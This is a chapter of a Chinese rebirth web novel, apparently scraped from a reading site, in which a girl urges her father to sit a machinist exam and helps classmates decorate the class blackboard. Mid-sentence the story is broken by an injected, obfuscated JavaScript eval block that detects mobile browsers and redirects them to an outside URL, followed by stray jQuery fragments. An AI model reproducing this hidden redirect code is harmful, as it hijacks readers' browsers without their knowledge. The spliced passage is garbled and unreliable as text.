默认冷灰
24号文字
方正启体

13. 【出黑板报】

作者:今夕何如本书字数:K更新时间:
    程根生担心的是,花了许多业余时间参加培训班,最后却没考过,竹篮打水一场空。


    女儿两年级的时候功课还很好,因为秀珍过世的打击,成绩一落千丈。他自己也就小学文化,平时嘴又拙,不知道该怎么教她。


    眼看着最近半年她变得刻苦勤奋起来,成绩也变好了,这时候他再去折腾上什么培训班,影响她的学习,不是变成他这个当爸爸的拖女儿后腿了吗?


    程守萍却显得很兴奋:“爸爸,你去考吧,你没空的时候我会看好宏宏的。而且宏宏也很乖很听话,不会影响我学习的。我支持你去考!”


    “宏宏乖,支持你考!”宏宏没听懂爸爸和姐姐在说什么,但说他乖他听懂了,高高举手,奶声奶气地重复着姐姐说的话。


    程根生被儿子逗笑了,同时也被女儿的兴奋口吻所感染,赧然笑着点了一下头。


    是啊,就算是难考,也只有去考了才有机会通过,不考的话连三分之一的机会都没有。只要拿到六级证,家里的经济情况就可以得到改善,也不至于给小囡吃个荤菜也要算上老半天了。


    程守萍想得却比此时的程根生还要长远一点。她记得要不了几年就会有德国公司来本市投资,合作建汽车厂。


    前世的那个时候,爸爸厂里有一批技术骨干调入合资汽车厂,其中也有六级钳工。进汽车厂的工人收入比在原厂时翻了好几倍,甚至比许多机关干部的收入还要高,在社会上引起了巨大震动。但爸爸那时候已经残疾,转岗成为工具室保管员,根本就没有机会去合资厂工作。


    这辈子,她希望爸爸能抓住这个机会,用他这双完好健全的手。


    -


    四年级开始,教室后面的黑板报就是由学生负责来出。


    陈老师认为班上每个同学都应该参与进去,所以黑板报虽然是由宣传委员孙晓云负责组织,但具体执行是小组轮换的,这次轮到了程守萍这组。


    梁凯和张佑军坐最后一排,虽然他们个头较高,也要站到凳子上才能够着黑板上沿。为了方便出板报,索性把后排的课桌全推到黑板下方,连成一整条。梁凯用板擦擦完黑板,张佑军用湿抹布再抹一遍,干干净净。


    在他们擦黑板的时候,其他人开始商量每个人具体要做的事。沈继舟自然是负责出稿子,程守萍和王向珊字写得好,负责抄写文字,梁凯平时就喜欢画画,他和周亦欣负责画报头、插画和花边,蔡琳玲和张佑军负责给抄写的人打下手,递粉笔,对稿子。


    王新宇问:“那我呢?”


    蔡琳玲一指椅背上挂着的水壶:“你负责给大家打水。”


    王新宇欣然接受这个任务,开始逐一把水壶往身上背。就见他左一个军用铝壳水壶,右一个塑料水壶,八个水壶全挂在身上,五颜六色。远看像是背了一堆炸药包的士兵,正要冲进敌人阵营同归于尽,近看像是个收废品的,手里拿不下了就往身上背。


    蔡琳玲指着他哈哈大笑,大家跟着笑了起来。


    王新宇自己也笑,边笑边跑出教室去打水,身上挂着的水壶甩来甩去,叮铃桄榔一阵乱响。


    上一期黑板报是关于秋游,这期因为刚选完班委,陈老师要求留一个角放新班委的名单,再放一篇学习方法介绍,其他的内容可以他们自己定。


    主题和内容大致定下后,沈继舟便坐回自己座位写稿子,大家看到王新宇的滑稽样子发笑的时候,他也没抬头去看上一眼,始终专注地书写。


    周亦欣和梁凯开始商量报头画什么。孙晓云让张佑军把黑板平均划分为四块,一块用来放学习方法介绍,一块用来放班委名单,余下的放沈继舟的文章。


    程守萍因为期中考试进步大,陈老师在成绩出来后就让她总结自己的学习方法,分享给大家。所以这部分内容是现成的。


    她拿出削笔刀,把一根粉笔的头部削尖,先用直尺垂直贴上黑板,画上等距离的小点,接着再画出一道道极细的横线,这样抄写的时候字体排布会更整齐均匀。


    粉笔尖很快变钝,她时不时就要停下,重新把它削尖。


    蔡琳玲见状,和张佑军、王向珊一起揽下了削粉笔的活,只要程守萍手里的粉笔钝了,立刻能换上一支新削好的。


    众人协作配合,很快就把线画好了。


    这会儿工夫,沈继舟的稿子也已经写完了,检查一遍,确保没有错漏后,交给王向珊抄写。


    大家都不得不佩服他写文章的速度,别人还在咬铅笔头苦苦构思的时候,他已经写完在那里检查错别字了。


    程守萍找了支白色的粉笔开始写学习方法介绍,没写几个字就发现不对劲,急忙往后退了两步。


    梁凯就在她上方画报头,粉笔灰簌簌落下,正好落在她头顶。


    她拍掉头顶的粉笔灰,无语地望向梁凯。但大家都是协同合作,总不能非要梁凯停下来,等她写完这块再继续画报头吧?


    这时,后面递过来一本练习簿,摊开的,封面朝上。


    她回头看了眼,是沈继舟递过来的。


    沈继舟写完稿子后就过来看她们写板书,顺手拉了张最后排的椅子过来坐着。


    刚看到梁凯在程守萍上方画画的时候,就想提醒她小心粉笔灰。没想到她反应还挺快,马上就往后退开了,刚好退到他侧前方。


    他拿着练习簿比了一下。


    程守萍立时会意,接过练习簿顶在头上,这样就能挡住粉笔灰,还不影响她的视线。


    但因为一只手要扶着练习簿,她没法看着自己的稿子抄,就让蔡琳玲帮她读,读一句,她写一句。


    前一世程守萍是练过硬笔书法的,基础的楷体、行楷自不用提,她还能写一手漂亮的仿宋体,瘦金体也能写得像模像样。


    练字的契机是因为她自觉学历不高,也没什么拿得出手的特长,想着好歹字写得漂亮些,不至于让人看轻。另外也是因为施建华常常不回家,她又没小囡,一个人在家百无聊赖,练练字也是给自己找点事做。


    后来大家都开始用手机发信息,用电脑写文档,她练的这一手漂亮字变得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059910|195018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毫无用处。


    重回小学时代,她当然不可能再用那样的字体来写作业,甚至还得故意写得幼稚笨拙,去贴近自己十来岁时本来的字迹。


    但随着时间推进,她的字迹逐渐变得美观工整起来,要问,就是她在练字。


    因为是听写,又是自己的稿子,内容早就耳熟能详,她抄写的速度也很快,写完第一块板书的时候,王向珊只写完小半块。她和王向珊交流了一下,由她接手沈继舟的稿子,王向珊去写班委名单。


    蔡琳玲接过稿子,才念了半句就念不下去了:“这个字念啥?”


    沈继舟把稿子拿过去:“我来念吧。”


    蔡琳玲长出了口气:“正好正好,谁写的谁来念。”


    沈继舟写的是《老人与海》的内容简介,或者说是故事缩写吧。蔡琳玲不会念的那个字是殊死搏斗的“殊”。


    对程守萍来说,这个字看到肯定读得出,但要她凭空写出来,一时也有点犯难。


    手机用多了的后遗症。


    反正她现在是小学生,这个字不会写也算不上丢脸,她索性探头去看沈继舟手里的稿子。


    他这个字,写得有点丑啊。


    程守萍诧异地看了眼沈继舟,想不到作文好手、语文第一名的字居然是这样的,虽说他写得快,有点潦草是可以接受的,但字本身的间架结构是能体现出好坏的。


    程守萍所不知道的是,沈继舟被扣掉的那两分,正是因为字写得太糟糕,让陈老师扣掉的书写分。


    本来他是100分的。


    沈继舟似乎意识到了她这一眼的诧异是因何而起,嘴唇一抿,把稿子往胸前一贴,不让她看了。


    他之前看过程守萍写的英文单词和中文注释,那时候还没觉得怎么,这会儿看到她在黑板上书写的字,再对比自己草稿上的字。


    和她比起来,他的字就和狗爬差不多。


    程守萍什么都没说,反正“殊”字已经看到,想起来怎么写了。


    一个继续念稿,一个继续听写。权当无事发生。


    程守萍把稿子全文写完。梁凯的报头也画得差不多了,周亦欣在板报四周与文字间隙添加的花边也已完工。


    梁凯画的是枫树,伸展的枝叶占据了黑板的左上方,一片片枫叶好像小手掌,还有些在半空中飘舞,正好装点板报有空隙的地方。


    看着枫树枝条的下方还有点空,程守萍把一截黄色粉笔横过来,写上粗体的《老人与海》,再用蓝色粉笔勾勒出阴影部分。


    “哇,这是什么字,看起来真漂亮!”蔡琳玲大呼小叫,“你是什么时候学会这一手的?”


    程守萍微微笑:“这叫美术字。在爸爸厂里看他们出黑板报的时候学的。”


    板报出完了。蔡琳玲指挥着张佑军和王新宇把课桌擦干净,重新抬回原位,对齐。


    大家一起站在黑板前欣赏了好一会儿,脸上都带着满意的笑容。


    一想到同学们来学校见到这块板报时的样子,就格外期待明天来学校上学。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)